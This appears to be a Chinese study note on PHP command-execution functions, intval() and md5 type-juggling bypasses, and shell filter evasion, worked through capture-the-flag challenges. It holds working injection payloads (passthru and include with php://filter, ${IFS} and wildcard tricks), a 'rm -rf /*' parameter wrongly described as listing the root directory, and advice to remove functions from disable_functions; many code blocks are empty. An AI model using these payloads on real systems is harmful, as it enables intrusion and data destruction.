php反序列化漏洞
PHP常见的命令执行函数与代码执行函数
PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec()
php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。
在开始介绍前,先检查下php配置文件php.ini中是有禁止这是个函数。找到 disable_functions,配置如下:
1 |
|
如果“disable_functions=”后面有接上面四个函数,将其删除。
默认php.ini配置文件中是不禁止你调用执行外部命令的函数的。
方法一:exec()
function exec(string $command,array[optional] $output,int[optional] $return_value)
php代码:
1 |
|
执行结果:
1 |
|
知识点:
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。
方法二:passthru()
1 |
|
代码:
1 |
|
执行结果:
1 |
|
知识点:
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
方法三:system()
1 |
|
代码:
<br><?php<br> system("ls /");<br>?><br> |
执行结果:
1 |
|
知识点:
system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。
方法四:反撇号`和shell_exec()
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
代码:
<br><?php<br> echo `pwd`;<br>?><br> |
执行结果:
/var/www/html
1. eval()和include的区别
都不是函数,都是语言结构 无法通过配置文件的禁用来禁用
eval 要执行的php代码
include 参数是一个路径,表示执行php文件的路径,读取路径中文件的内容,然后执行里面的php代码
include “common.php”
include “phpinfo();”;错误❌
2. intval()函数详解,intval()函数漏洞原理及绕过思路
intval() 函数可以获取变量的「整数值」。常用于强制类型转换
语法
1 |
|
参数
- $var:需要转换成 integer 的「变量」
- $base:转换所使用的「进制」
返回值
返回值为 integer 类型,可能是 0 或 1 或 其他integer 值。
- 0:失败 或 空array 返回 0
- 1:非空array 返回 1
- 其他integer值:成功时 返回 $var 的 integer 值。
- 返回值的「最大值」取决于系统
- 32 位系统(-2147483648 到 2147483647)
- 64 位系统(-9223372036854775808到9223372036854775807)
2.1.1. 进制自动转换
第二个参数 $base 允许为空。
当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。
- 如果 $var 以 0 开头,就使用 8进制
- 如果 $var 以0x开头,就使用 16进制
- 否则,就使用 10进制
例子
1 |
|
输出
1 |
|
绕过思路:当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。
2.1.2. 转换数组
intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。
- 「空数组」返回 0
- 「非空数组」返回 1
实例:
1 |
|
输出
1 |
|
如果传入的 $var是数组中的某个值时,则当做变量来转换,而不是当做数组类型。
实例:
1 |
|
输出
1 |
|
绕过思路:对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
2.1.3. 转换小数
intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。
例子
1 |
|
输出
1 |
|
绕过思路:当某个数字被过滤时,可以给它增加小数位来绕过。
2.1.4. 转换字符串
intval() 转换字符串类型时,会判断字符串是否以数字开头
- 如果以数字开头,就返回1个或多个连续的数字
- 如果以字母开头,就返回0
单双引号对转换结果没有影响,并且 0 或 0x 开头也只会当做普通字符串处理。
例子
1 |
|
输出
1 |
|
2.1.5. 五取反~
intval() 函数支持一些特殊符号的,比如~取反。
实例:
1 |
|
输出
1 |
|
绕过思路:当某个数字被过滤时,可以两次取反来绕过。
2.1.6. 算数运算符
intval() 函数支持算数运算符,如果传入的 $var参数包含算数运算符,会先传入再运算,再对运算结果进行转换。
实例:
1 |
|
输出
1 |
|
绕过思路:当某个数字被过滤时,可以使用算数运算符绕过。
2.1.7. 浮点数精度缺失问题
由于PHP中的浮点数是「弱类型」,存在「精度丢失」的问题,在转换时可能会出现意料之外的情况。
比如下面这个案例,第一个输出34正常,第二个以为会输出58,结果输出了57。
实例:
1 |
|
输出
1 |
|
2.1.8. intval()绕过思路
最后汇总一下intval()函数漏洞的绕过思路:
1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
3. 绕过还可以用base编码
tac flag.php
dGFjIGZsYWcucGhw
?cmd=echo ‘dGFjIGZsYWcucGhw’|base64 -d ‘
4. 通配符 使用 * ?绕过
5. 关键词拼接法
a=c;b=at;c=fla;d=g.php// cat flag.php
6. 符号过滤法
空格 代替 %09 {$IF} <>
7. 环境变量字符串截取法 获取敏感字符
PHP反序列化漏洞详解
在面向对象的程序设计(Object-oriented programming,OOP)中,
对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。
类是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。
创建一个PHP类:
1 |
|
linux下不用空格执行带参数的5种姿势 - sevck - 博客园 (cnblogs.com)
linux下不用空格执行带参数的5种姿势 - sevck - 博客园 (cnblogs.com)
1 |
|
用${IFS}代替空格
1 |
|
对%20的补充说明(即空格)
URL中的空格有时候被编码成%20,有时候被编码成加号+,曾经迷糊过一段时间,后来查了下资料才搞明白。
一个URL的基本组成部分包括协议(scheme),域名,端口号,路径和查询字符串(路径参数和锚点标记就暂不考虑了)。路径和查询字符串之间用问号?分离。例如http://www.example.com/index?param=1,路径为index,查询字符串(Query String)为param=1。URL中关于空格的编码正是与空格所在位置相关:空格被编码成加号+的情况只会在查询字符串部分出现,而被编码成%20则可以出现在路径和查询字符串中。
造成这种混乱局面的原因在于:W3C标准规定,当Content-Type为application/x-www-form-urlencoded时,URL中查询参数名和参数值中空格要用加号+替代,所以几乎所有使用该规范的浏览器在表单提交后,URL查询参数中空格都会被编成加号+。而在另一份规范(RFC 2396,定义URI)里, URI里的保留字符都需转义成%HH格式(Section 3.4 Query Component),因此空格会被编码成%20,加号+本身也作为保留字而被编成%2B,对于某些遵循RFC 2396标准的应用来说,它可能不接受查询字符串中出现加号+,认为它是非法字符。所以一个安全的举措是URL中统一使用%20来编码空格字符。
JavaScript中的URLEncode本意是用来把字符串编码成application/x-www-form-urlencoded MIME格式字符串,也就是说仅仅适用于URL中的查询字符串部分,但是URLEncoder经常被用来对URL的其他部分编码,它的encode方法会把空格编成加号+,与之对应的是,URLDecoder的decode方法会把加号+和%20都解码为空格,这种违反直觉的做法造成了当初我对空格URL编码问题的困扰。因此后来我的做法都是,在调用URLEncoder.encode对URL进行编码后(所有加号+已被编码成%2B),再调用replaceAll(“+”, “%20″),将所有加号+替换为%20。
原文链接:https://blog.csdn.net/qq_43061215/article/details/126121193
cat与tac的区别(tac的优先级更高)
cat命令主要有以下功能:将FILE或标准输入连接到标准输出,其实说白了就是用来显示文件的内容。
1 |
|
1 |
|
注意:当cat的文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容。因此,一般用more等命令分屏显示。为了控制滚屏,可以按Ctrl+S键,停止滚屏;按Ctrl+Q键可以恢复滚屏。按Ctrl+C(中断)键可以终止该命令的执行,并且返回Shell提示符状态。
tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出。
1 |
|
例题1,取反真是一招鲜,吃遍天
分析要传入id==1000,但是会有>999的判断,所以利用intval进行绕过
1 |
|
可以利用两次取反,?id=~~1000
可以使用乘法获取1000,?id=250*4等等
?id=2 or id=1000
?id=round(999.6),只要小数部分能进一就行
漏洞补上了加号和or,但还是能用乘号和取反符号,还有||
或者可以使用intval(1e3),不行哦,因为开头1被过滤掉了
这次过滤了or,-,,*,+,<,>,!,hex,i,所以还能使用取反
?id=power(10,3)
?id=sqrt(1000000)
这里开始过滤取反,但可以使用二进制
用 sql 中除号的另外一种写法绕过(div) ?id=500 div 0.5
例题2 删库跑路
1 |
|
在 URL 中,? 之后的部分被称为查询字符串(Query String)。
其中的 flag=rm%20-rf%20/* 是一个 GET 请求的参数。
在这个例子中,flag 是参数名,rm%20-rf%20/* 是对应的参数值。
%20 是 URL 编码表示空格字符的方式。
因此,实际的参数值是 rm -rf /*。显示根目录
例题3 命令后一定要加;!!!!
1)无过滤
先查看文件内容,注意命令后面一定要加;
然后查看这两个文件
index说flag在config里面
查看config得到flag
2)过滤了system|exec|highlight
1 |
|
因为增加了过滤,把system过滤了if(!preg_match(“/system|exec|highlight/i”,$c)){ eval($c);
所以要把代码改一下,改成passthru,这个命令宇system的区别在于passthru直接输出在浏览器,而passthru的语法很简单,直接passthru(‘ls’);
相关技术文章参考:https://www.cnblogs.com/gaohj/p/3267692.html
执行?c=passthru(‘ls’)
发现有两个文件,config.php和index.php
因为index.php是首页文件,没有flag所以跳过,
然后查看另一个文件,?c=passthru(‘config.php’)
执行后F12检查页面,发现flag
3)过滤/system|exec|highlight|cat|.|php|config
使用*进行绕过即可
4)过滤了分号/system|exec|highlight|cat|.|;|file|php|config/i
?c=passthru(‘tac con\fig*’)?> 用?>代替; 在php中可以用?>来代替最后的一个;
因为php遇到定界符关闭标签会自动在末尾加上一个分号。
5)先转化成base64
?c=include $_GET[‘a’]?>&a=php://filter/convert.base64-encode/resource=config.php
再解密
①涉及到一个php的代码结构,…..
②payload为:?c=include $_GET[a]?>,等同于,php的最后一行代码可以省去分号…..
③include函数包含文件,且题目是对参数c正则过滤,因此GET型传参a可以绕过,从而执行我们的伪协议文件命令,读取config.php文件:
php://filter/convert.base64-encode/resource=./config.php
④因此连起来构造的payload为:
?c=include $_GET[a]?>&a=php://filter/convert.base64-encode/resource=config.php
还可以直接?c=echo$flag
例题4 babyphp
先过第一个if,需要a不含数字而且intval取整数
官方对intval的解释是
通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。
intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。
echo intval(array()); // 0
echo intval(array(‘foo’, ‘bar’)); // 1
所以我们传入数组就能过掉第一个if
a[]=1
第三个if,由于md5函数无法处理数组,会返回null
b1[]=1&b2[]=2
md5(b1[]=1) === md5(b2[]=2)
第四个if,需要传入值是字符串且md5值相等
7.1. 弱判断下,0e开头的数等于0,所以使两端的md5值都为0e开头即可
1 |
|
所以最终的payload是
a[]=1&b1[]=1&b2[]=2&c1=QLTHNDT&c2=QNKCDZO